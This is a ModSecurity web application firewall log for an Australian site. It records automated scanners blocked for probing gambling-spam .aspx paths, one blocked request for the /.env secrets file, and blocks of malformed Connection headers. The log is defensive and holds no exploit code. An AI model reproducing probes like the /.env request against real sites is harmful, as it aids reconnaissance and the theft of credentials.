[Wed Mar 18 01:44:30.195256 2026] [:error] [pid 40715:tid 40943] [client 95.91.110.210:16442] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "abmS_mcms0rUPgdkLiEIUwAAAAU"]
[Wed Mar 18 01:44:33.638632 2026] [:error] [pid 63412:tid 63427] [client 95.91.110.210:16450] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "abmTATKUzzFOGoXRLQ--LwAAAMs"]
[Wed Mar 18 01:44:38.034978 2026] [:error] [pid 40715:tid 40961] [client 95.91.110.210:40642] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "abmTBmcms0rUPgdkLiEIWAAAABc"]
[Wed Mar 18 01:44:44.368015 2026] [:error] [pid 63612:tid 63634] [client 95.91.110.210:40646] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "abmTDO7vPBSR8vo387MyQwAAAZQ"]
[Wed Mar 18 01:44:50.596623 2026] [:error] [pid 63412:tid 63430] [client 95.91.110.210:25348] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "abmTEjKUzzFOGoXRLQ--PQAAAM4"]
[Wed Mar 18 01:44:53.543670 2026] [:error] [pid 40717:tid 41061] [client 95.91.110.210:25352] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "abmTFcR22EbC70ICesgSUAAAAIk"]
[Wed Mar 18 01:44:56.422117 2026] [:error] [pid 63612:tid 63618] [client 95.91.110.210:25364] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abmTGO7vPBSR8vo387MyZQAAAYQ"]
[Wed Mar 18 01:44:59.113746 2026] [:error] [pid 40717:tid 41073] [client 95.91.110.210:62986] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "abmTG8R22EbC70ICesgSWAAAAJU"]
[Wed Mar 18 01:45:01.891933 2026] [:error] [pid 63412:tid 63419] [client 95.91.110.210:62988] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "abmTHTKUzzFOGoXRLQ--PwAAAMM"]
[Wed Mar 18 01:46:33.437736 2026] [:error] [pid 63612:tid 63634] [client 95.91.110.210:35494] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "abmTee7vPBSR8vo387MzTgAAAZQ"]
[Wed Mar 18 01:46:36.190210 2026] [:error] [pid 63412:tid 63424] [client 95.91.110.210:64570] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "abmTfDKUzzFOGoXRLQ--eQAAAMg"]
[Wed Mar 18 01:46:39.865571 2026] [:error] [pid 40716:tid 41037] [client 95.91.110.210:13252] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "abmTfxR6i4ByUuhUBAR9sQAAAFA"]
[Wed Mar 18 01:46:42.722067 2026] [:error] [pid 63412:tid 63426] [client 95.91.110.210:13258] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "abmTgjKUzzFOGoXRLQ--hAAAAMo"]
[Wed Mar 18 01:46:45.423215 2026] [:error] [pid 63412:tid 63436] [client 95.91.110.210:13264] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "abmThTKUzzFOGoXRLQ--hgAAANQ"]
[Wed Mar 18 01:46:48.271008 2026] [:error] [pid 40717:tid 41071] [client 95.91.110.210:23046] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abmTiMR22EbC70ICesgSjAAAAJM"]
[Wed Mar 18 01:46:57.114543 2026] [:error] [pid 63612:tid 63625] [client 95.91.110.210:23050] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abmTke7vPBSR8vo387MzkQAAAYs"]
[Wed Mar 18 01:46:59.851901 2026] [:error] [pid 63412:tid 63431] [client 95.91.110.210:35094] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abmTkzKUzzFOGoXRLQ--lwAAAM8"]
[Wed Mar 18 01:47:02.596435 2026] [:error] [pid 63612:tid 63619] [client 95.91.110.210:35096] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "abmTlu7vPBSR8vo387MznQAAAYU"]
[Wed Mar 18 01:47:05.269430 2026] [:error] [pid 63449:tid 63456] [client 95.91.110.210:35100] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "abmTmQplutP4IZ5mr13c4AAAAUU"]
[Wed Mar 18 01:47:10.327139 2026] [:error] [pid 40717:tid 41074] [client 95.91.110.210:44712] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "abmTnsR22EbC70ICesgSmQAAAJY"]
[Wed Mar 18 01:47:16.244639 2026] [:error] [pid 40716:tid 41045] [client 95.91.110.210:44722] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "abmTpBR6i4ByUuhUBAR-DwAAAFg"]
[Wed Mar 18 01:47:19.969171 2026] [:error] [pid 40717:tid 41053] [client 95.91.110.210:8620] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "abmTp8R22EbC70ICesgSqgAAAII"]
[Wed Mar 18 01:47:22.700895 2026] [:error] [pid 63612:tid 63620] [client 95.91.110.210:8626] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "abmTqu7vPBSR8vo387MztAAAAYY"]
[Wed Mar 18 01:47:25.270769 2026] [:error] [pid 63612:tid 63625] [client 95.91.110.210:8638] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "abmTre7vPBSR8vo387MzugAAAYs"]
[Wed Mar 18 01:48:27.106622 2026] [:error] [pid 63412:tid 63437] [client 95.91.110.210:11574] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abmT6zKUzzFOGoXRLQ-_HgAAANU"]
[Wed Mar 18 01:48:30.214751 2026] [:error] [pid 63612:tid 63632] [client 95.91.110.210:33478] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abmT7u7vPBSR8vo387M0gQAAAZI"]
[Wed Mar 18 01:48:33.635568 2026] [:error] [pid 63449:tid 63469] [client 95.91.110.210:33494] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abmT8QplutP4IZ5mr13dcwAAAVI"]
[Wed Mar 18 01:48:38.408355 2026] [:error] [pid 40716:tid 41037] [client 95.91.110.210:33510] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abmT9hR6i4ByUuhUBAR-iAAAAFA"]
[Wed Mar 18 01:48:42.802134 2026] [:error] [pid 63449:tid 63454] [client 95.91.110.210:40214] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abmT-gplutP4IZ5mr13dgQAAAUM"]
[Wed Mar 18 05:17:23.614664 2026] [:error] [pid 44964:tid 44984] [client 88.88.133.210:50894] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "abnE48vMufm4ayzOOhBJTwAAAAY"]
[Wed Mar 18 05:17:26.031868 2026] [:error] [pid 13676:tid 13682] [client 88.88.133.210:34528] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "abnE5mxDEHR5lvAEVIjZyQAAAQQ"]
[Wed Mar 18 05:17:29.232324 2026] [:error] [pid 13716:tid 13723] [client 88.88.133.210:36616] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "abnE6WWKzQVHkZkUHaTeNQAAAUU"]
[Wed Mar 18 05:17:31.723521 2026] [:error] [pid 13716:tid 13719] [client 88.88.133.210:36624] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "abnE62WKzQVHkZkUHaTePwAAAUE"]
[Wed Mar 18 05:17:34.154327 2026] [:error] [pid 13676:tid 13692] [client 88.88.133.210:36640] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "abnE7mxDEHR5lvAEVIjZ0gAAAQ4"]
[Wed Mar 18 05:17:36.580538 2026] [:error] [pid 13716:tid 13724] [client 88.88.133.210:36644] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "abnE8GWKzQVHkZkUHaTeUAAAAUY"]
[Wed Mar 18 05:17:38.958975 2026] [:error] [pid 13716:tid 13722] [client 88.88.133.210:44950] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "abnE8mWKzQVHkZkUHaTeUgAAAUQ"]
[Wed Mar 18 05:17:41.418013 2026] [:error] [pid 13716:tid 13727] [client 88.88.133.210:44958] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "abnE9WWKzQVHkZkUHaTeWwAAAUk"]
[Wed Mar 18 05:17:44.009293 2026] [:error] [pid 44965:tid 45025] [client 88.88.133.210:44966] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "abnE-KNZys-oG-hM22h1XwAAAE8"]
[Wed Mar 18 05:17:46.458071 2026] [:error] [pid 44965:tid 45013] [client 88.88.133.210:44970] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "abnE-qNZys-oG-hM22h1ZgAAAEM"]
[Wed Mar 18 05:17:49.016716 2026] [:error] [pid 13716:tid 13722] [client 88.88.133.210:54616] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "abnE_WWKzQVHkZkUHaTedwAAAUQ"]
[Wed Mar 18 05:17:51.636760 2026] [:error] [pid 44966:tid 45037] [client 88.88.133.210:54626] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abnE_7Hml2_01Zq4-12wOwAAAIA"]
[Wed Mar 18 05:17:54.042595 2026] [:error] [pid 13716:tid 13731] [client 88.88.133.210:54636] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abnFAmWKzQVHkZkUHaTegwAAAU0"]
[Wed Mar 18 05:17:56.461550 2026] [:error] [pid 45069:tid 45095] [client 88.88.133.210:54646] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "abnFBDNzUMBULZVa94zQOgAAANg"]
[Wed Mar 18 05:17:58.868534 2026] [:error] [pid 44966:tid 45037] [client 88.88.133.210:56976] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "abnFBrHml2_01Zq4-12wSAAAAIA"]
[Wed Mar 18 05:18:01.291476 2026] [:error] [pid 45069:tid 45086] [client 88.88.133.210:56988] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "abnFCTNzUMBULZVa94zQTwAAAM8"]
[Wed Mar 18 05:18:03.967002 2026] [:error] [pid 13676:tid 13688] [client 88.88.133.210:57004] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "abnFC2xDEHR5lvAEVIjZ8wAAAQo"]
[Wed Mar 18 05:18:06.514488 2026] [:error] [pid 13716:tid 13735] [client 88.88.133.210:57014] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "abnFDmWKzQVHkZkUHaTeoQAAAVE"]
[Wed Mar 18 05:18:09.092089 2026] [:error] [pid 44965:tid 45022] [client 88.88.133.210:45582] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "abnFEaNZys-oG-hM22h1iAAAAEw"]
[Wed Mar 18 05:18:11.692524 2026] [:error] [pid 45069:tid 45086] [client 88.88.133.210:45586] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "abnFEzNzUMBULZVa94zQXwAAAM8"]
[Wed Mar 18 05:18:14.263324 2026] [:error] [pid 45069:tid 45089] [client 88.88.133.210:45590] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "abnFFjNzUMBULZVa94zQZAAAANI"]
[Wed Mar 18 08:13:18.568147 2026] [:error] [pid 13716:tid 13719] [client 20.2.90.103:39434] [client 20.2.90.103] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "abnuHmWKzQVHkZkUHaRUAgAAAUE"]
[Wed Mar 18 09:55:44.677222 2026] [:error] [pid 43009:tid 43019] [client 114.96.103.33:51574] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aboGIH8aUp4Sm6m3nmOBZQAAAQg"]
[Wed Mar 18 11:57:25.695910 2026] [:error] [pid 42870:tid 42895] [client 43.153.15.51:36404] [client 43.153.15.51] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aboipZ6axlAooiuYyUx5PwAAAAo"]
[Wed Mar 18 14:43:16.273600 2026] [:error] [pid 53755:tid 53762] [client 43.166.253.94:46876] [client 43.166.253.94] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abpJhKqw5ZSRshmIhWmf1wAAAUU"]
